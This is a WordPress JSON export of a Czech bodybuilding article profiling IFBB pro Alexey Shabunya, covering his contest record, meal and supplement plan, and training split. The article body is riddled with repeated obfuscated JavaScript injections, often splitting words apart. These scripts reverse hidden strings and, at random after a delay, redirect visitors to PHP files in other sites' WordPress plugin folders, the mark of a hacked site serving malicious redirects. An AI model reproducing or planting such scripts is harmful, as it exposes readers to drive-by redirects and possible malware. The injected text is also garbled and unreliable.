{"id":68,"date":"2019-03-20T07:35:41","date_gmt":"2019-03-20T07:35:41","guid":{"rendered":"http:\/\/www.svetkulturistiky.cz\/?p=68"},"modified":"2019-03-20T08:03:12","modified_gmt":"2019-03-20T08:03:12","slug":"srdecne-pozdravy-z-beloruska-posila-ifbb-profesional-alexej-sabunja","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2019\/03\/20\/srdecne-pozdravy-z-beloruska-posila-ifbb-profesional-alexej-sabunja\/","title":{"rendered":"SRDE\u010cN\u00c9 POZDRAVY Z B\u011aLORUSKA pos\u00edl\u00e1 IFBB profesion\u00e1l Alexej \u0160abunja"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-71 alignright\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/03\/Alexey-Shabunya2-192x300.jpg\" alt=\"\" width=\"192\" height=\"300\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/03\/Alexey-Shabunya2-192x300.jpg 192w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/03\/Alexey-Shabunya2.jpg 338w\" sizes=\"auto, (max-width: 192px) 100vw, 192px\" \/>Z\u00e1vodn\u00edk, jeho\u017e mimosout\u011b\u017en\u00ed hmotnost se \u0161plh\u00e1 a\u017e ke 135 kg (v\u011bt\u0161inou se ji sna\u017e\u00ed dr\u017eet na 128 kilech), se na sout\u011b\u017en\u00edch p\u00f3di\u00edch prezentuje s\u00a0v\u00e1hou 120-122 kg p\u0159i v\u00fd\u0161ce 184 cm.<\/p>\n<p>Z\u00e1vodit za\u010dal v\u00a0roce 1997. To mu bylo 20 let. A od t\u00e9 doby zaznamenal neuv\u011b\u0159iteln\u00e9 pokroky, o \u010dem sv\u011bd\u010d\u00ed i v\u00fd\u010det jeho sout\u011b\u017en\u00edch \u00fasp\u011bch\u016f. Na amat\u00e9rsk\u00e9m poli byl v\u00a0roce 2010 druh\u00fd na MS v\u00a0Baku, o dva roky pozd\u011bji si st\u0159\u00edbro odnesl z\u00a0Arnold Classic Amateur. A v\u00a0t\u00e9m\u017ee roce z\u00edskal na Fibo Challenge profesion\u00e1ln\u00ed kartu. V\u00a0roce 2013 byl t\u0159et\u00ed na Nordic Pro ve Finsku a pak star<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toval na dvou americk\u00fdch sout\u011b\u017e\u00edch: Europa Super Show v\u00a0Dallasu a Tampa Pro na Florid\u011b. Z\u00fa\u010dastnil se tak\u00e9 Levrone Classic v\u00a0polsk\u00e9m Gda\u0148sku v\u00a0roce 2016.<\/p>\n<p><strong>CO MU U\u010cAROVALO NA KULTURISTICE?<\/strong><\/p>\n<p>S\u00a0odpov\u011bd\u00ed na tuhle ot\u00e1zku Alexej nev\u00e1h\u00e1. \u201eV\u017edycky jsem snil o <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom, \u017ee budu profesion\u00e1ln\u00edm kulturis<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou. A dnes jsem nejlep\u0161\u00edm z\u00e1vodn\u00edkem v\u00a0zemi. Na <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomhle sportu se mi l\u00edb\u00ed, \u017ee d\u00edky n\u011bmu m\u011bn\u00edte svoji postavu a nakonec i my\u0161len\u00ed. <strong>Kulturistika je jedin\u00fd sport, kter\u00fd v\u00e1m d\u00e1v\u00e1 mo\u017enost zcela zm\u011bnit sv\u016fj vzhled.<\/strong> A <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to i za p\u0159edpokladu, \u017ee nechcete nab\u00edrat velk\u00e9 objemy.\u201c<\/p>\n<p><strong>DIETA A SUPLEMENTACE<\/strong><\/p>\n<p>Konkr\u00e9tn\u00ed <strong>rozpis jeho j\u00eddeln\u00ed\u010dku<\/strong> vypad\u00e1 n\u00e1sledovn\u011b:<\/p>\n<p><strong>7:40 hod \u2013 bud\u00ed\u010dek<\/strong><\/p>\n<p>D\u017eus s\u00a05 gramy glutaminu, 7 gramy kreatinu a 5 tbl BCAA.<\/p>\n<p><strong>8:00 \u2013 sn\u00eddan\u011b<\/strong><\/p>\n<p>100 gram\u016f ovesn\u00e9 ka\u0161e, 2 odm\u011brky proteinov\u00e9ho pr\u00e1\u0161ku sm\u00edchan\u00e9 s\u00a0vodou, multivitaminov\u00fd prepar\u00e1t, 1 tbl glukosaminu a 3 tbl chondroitinu<\/p>\n<p><strong>10:00 \u2013 sva\u010dina<\/strong><\/p>\n<p>100 gram\u016f r\u00fd\u017ee, 250 gram\u016f tvarohu, 1 pomeran\u010d nebo grapefruit, 2 tbl omega-3, 5 gram\u016f glutaminu a 1 tbl vitaminu C (1000 mg)<\/p>\n<p><strong>12:00 \u2013 ob\u011bd<\/strong><\/p>\n<p>100 gram\u016f r\u00fd\u017ee na t\u011bs<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovin, 200 gram\u016f hov\u011bz\u00edho masa, 300 gram\u016f zeleninov\u00e9ho sal\u00e1tu, 6 tbl aminokyselin<\/p>\n<p><strong>14:00<\/strong><\/p>\n<p>100 gram\u016f r\u00fd\u017ee, 2 odm\u011brky syrov\u00e1tkov\u00e9ho proteinu s\u00a0250-300 ml vody<\/p>\n<p><strong>16:00<\/strong><\/p>\n<p>100 gram\u016f t\u011bs<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovin, 200 gram\u016f ku\u0159ec\u00edho masa, 1 pomeran\u010d nebo grapefruit, 2 tbl omega-3, 3 tbl glukosaminu a 3 tbl chondroitinu<\/p>\n<p><strong>18:00 \u2013 p\u0159edtr\u00e9ninkov\u00e1 porce<\/strong><\/p>\n<p>P\u0159edtr\u00e9ninkov\u00fd suplement (v n\u00e1poji nebo tablet\u00e1ch), 10 gram\u016f BCAA a 100 gram\u016f gaineru rozm\u00edchan\u00e9ho s\u00a0300 ml vody<\/p>\n<p><strong>19:00 \u2013 b\u011bhem tr\u00e9ninku<\/strong><\/p>\n<p>2 cps BCAA rozpu\u0161t\u011bn\u00e9 ve 400 ml vody<\/p>\n<p><strong>20:30 \u2013 po tr\u00e9ninku<\/strong><\/p>\n<p>100 gram\u016f gaineru rozm\u00edchan\u00e9ho ve 300 ml vody, 10 gram\u016f BCAA a potr\u00e9ninkov\u00fd suplement<\/p>\n<p><strong>22:30 \u2013 ve\u010de\u0159e<\/strong><\/p>\n<p>100 gram\u016f r\u00fd\u017ee, 250 gram\u016f tvarohu nebo vaje\u010dn\u00e1 omeleta, sal\u00e1t<\/p>\n<p><strong>23:00 \u2013 p\u0159ed span\u00edm<\/strong><\/p>\n<p>GABA, 3 tbl ZMA, 1 tbl suplementu s\u00a0obsahem v\u00e1pn\u00edku a vitaminu D3, 2 odm\u011brky syrov\u00e1tkov\u00e9ho proteinov\u00e9ho izol\u00e1tu sm\u00edchan\u00e9 s\u00a0250 ml vody<\/p>\n<p><strong>TR\u00c9NINK<\/strong><\/p>\n<p><strong>Tr\u00e9ninkov\u00fd split podle Alexeje \u0160abunji:<\/strong><\/p>\n<ol>\n<li>den: hrudn\u00edk, p\u0159edn\u00ed delty, b\u0159icho<\/li>\n<li>den: z\u00e1da, zadn\u00ed delty<\/li>\n<li>den: st\u0159edn\u00ed delty, kardio, b\u0159icho, l\u00fdtka<\/li>\n<li>den: bicepsy, tricepsy<\/li>\n<li>den: nohy<\/li>\n<li>a 7. den \u2013 odpo\u010dinek<\/li>\n<\/ol>\n<p>Kolik jste potkali kulturist\u016f, kte\u0159\u00ed r\u00e1di prov\u00e1d\u00ed d\u0159epy? Nikdo v\u00e1s nenapad\u00e1? Tak tady ho m\u00e1te!! \u201eKdybych m\u011bl zm\u00ednit jeden obl\u00edben\u00fd cvik, \u0159ekl bych d\u0159epy \u2013 miluju je!\u201c \u0159\u00edk\u00e1 s\u00a0nad\u0161en\u00edm Alexej.<\/p>\n<p>V\u00edce se o objemov\u00e9 i p\u0159edsout\u011b\u017en\u00ed p\u0159\u00edprav\u011b <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to nad\u011bjn\u00e9ho z\u00e1vodn\u00edka do\u010dtete v\u00a0SK 2\/19.<\/p>\n<p>Alexeje m\u016f\u017eete kontak<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovat na soci\u00e1ln\u00edch s\u00edt\u00edch <a href=\"https:\/\/www.facebook.com\/profile.php?id=100001737077179\" target=\"_blank\" rel=\"noopener\">Alexey Shabunya (@alexeyshabunia)<\/a>, <a href=\"https:\/\/www.instagram.com\/alexey_shabunia_\/\" target=\"_blank\" rel=\"noopener\">alexey_shabunia_<\/a><\/p>\n<p>Nebo sledovat jeho kan\u00e1l na Youtube:<br \/>\n<a href=\"https:\/\/www.youtube.com\/user\/alexshabunya\" target=\"_blank\" rel=\"noopener\">https:\/\/www.youtube.com\/user\/alexshabunya<\/a><\/p>\n<p><a href=\"https:\/\/www.casopisyknihy.cz\/Svet-kulturistiky-2-19-d262.htm\" target=\"_blank\" rel=\"noopener\">V\u00edce se o objemov\u00e9 i p\u0159edsout\u011b\u017en\u00ed p\u0159\u00edprav\u011b <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to nad\u011bjn\u00e9ho z\u00e1vodn\u00edka do\u010dtete v\u00a0SK 2\/19.<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Z\u00e1vodn\u00edk, jeho\u017e mimosout\u011b\u017en\u00ed hmotnost se \u0161plh\u00e1 a\u017e ke 135 kg (v\u011bt\u0161inou se ji sna\u017e\u00ed dr\u017eet na 128 kilech), se na sout\u011b\u017en\u00edch p\u00f3di\u00edch prezentuje s\u00a0v\u00e1hou 120-122 kg p\u0159i v\u00fd\u0161ce 184 cm. Z\u00e1vodit za\u010dal v\u00a0roce 1997. To mu bylo 20 let. A od t\u00e9 doby zaznamenal neuv\u011b\u0159iteln\u00e9 pokroky, o \u010dem sv\u011bd\u010d\u00ed i v\u00fd\u010det jeho sout\u011b\u017en\u00edch \u00fasp\u011bch\u016f. Na amat\u00e9rsk\u00e9m poli byl v\u00a0roce 2010 druh\u00fd na MS v\u00a0Baku, o dva roky pozd\u011bji si st\u0159\u00edbro odnesl z\u00a0Arnold Classic Amateur. A v\u00a0t\u00e9m\u017ee roce z\u00edskal na Fibo Challenge profesion\u00e1ln\u00ed kartu. V\u00a0roce 2013 byl t\u0159et\u00ed na Nordic Pro ve Finsku a pak startoval na dvou americk\u00fdch sout\u011b\u017e\u00edch: Europa Super Show v\u00a0Dallasu a Tampa Pro na Florid\u011b. Z\u00fa\u010dastnil se tak\u00e9 Levrone Classic v\u00a0polsk\u00e9m Gda\u0148sku v\u00a0roce 2016. CO MU U\u010cAROVALO NA KULTURISTICE? S\u00a0odpov\u011bd\u00ed na tuhle ot\u00e1zku Alexej nev\u00e1h\u00e1. \u201eV\u017edycky jsem snil o tom, \u017ee budu profesion\u00e1ln\u00edm kulturistou. A dnes jsem nejlep\u0161\u00edm z\u00e1vodn\u00edkem v\u00a0zemi. Na tomhle sportu se mi l\u00edb\u00ed, \u017ee d\u00edky n\u011bmu m\u011bn\u00edte svoji postavu a nakonec i my\u0161len\u00ed. Kulturistika je jedin\u00fd sport, kter\u00fd v\u00e1m d\u00e1v\u00e1 mo\u017enost zcela zm\u011bnit sv\u016fj vzhled. A to i za p\u0159edpokladu, \u017ee nechcete nab\u00edrat velk\u00e9 objemy.\u201c DIETA A SUPLEMENTACE Konkr\u00e9tn\u00ed rozpis jeho j\u00eddeln\u00ed\u010dku vypad\u00e1 n\u00e1sledovn\u011b: 7:40 hod \u2013 bud\u00ed\u010dek D\u017eus s\u00a05 gramy glutaminu, 7 gramy kreatinu a 5 tbl BCAA. 8:00 \u2013 sn\u00eddan\u011b 100 gram\u016f ovesn\u00e9 ka\u0161e, 2 odm\u011brky proteinov\u00e9ho pr\u00e1\u0161ku sm\u00edchan\u00e9 s\u00a0vodou, multivitaminov\u00fd prepar\u00e1t, 1 tbl glukosaminu a 3 tbl chondroitinu 10:00 \u2013 sva\u010dina 100 gram\u016f r\u00fd\u017ee, 250 gram\u016f tvarohu, 1 pomeran\u010d nebo grapefruit, 2 tbl omega-3, 5 gram\u016f glutaminu a 1 tbl vitaminu C (1000 mg) 12:00 \u2013 ob\u011bd 100 gram\u016f r\u00fd\u017ee na t\u011bstovin, 200 gram\u016f hov\u011bz\u00edho masa, 300 gram\u016f zeleninov\u00e9ho sal\u00e1tu, 6 tbl aminokyselin 14:00 100 gram\u016f r\u00fd\u017ee, 2 odm\u011brky syrov\u00e1tkov\u00e9ho proteinu s\u00a0250-300 ml vody 16:00 100 gram\u016f t\u011bstovin, 200 gram\u016f ku\u0159ec\u00edho masa, 1 pomeran\u010d nebo grapefruit, 2 tbl omega-3, 3 tbl glukosaminu a 3 tbl chondroitinu 18:00 \u2013 p\u0159edtr\u00e9ninkov\u00e1 porce P\u0159edtr\u00e9ninkov\u00fd suplement (v n\u00e1poji nebo tablet\u00e1ch), 10 gram\u016f BCAA a 100 gram\u016f gaineru rozm\u00edchan\u00e9ho s\u00a0300 ml vody 19:00 \u2013 b\u011bhem tr\u00e9ninku 2 cps BCAA rozpu\u0161t\u011bn\u00e9 ve 400 ml vody 20:30 \u2013 po tr\u00e9ninku 100 gram\u016f gaineru rozm\u00edchan\u00e9ho ve 300 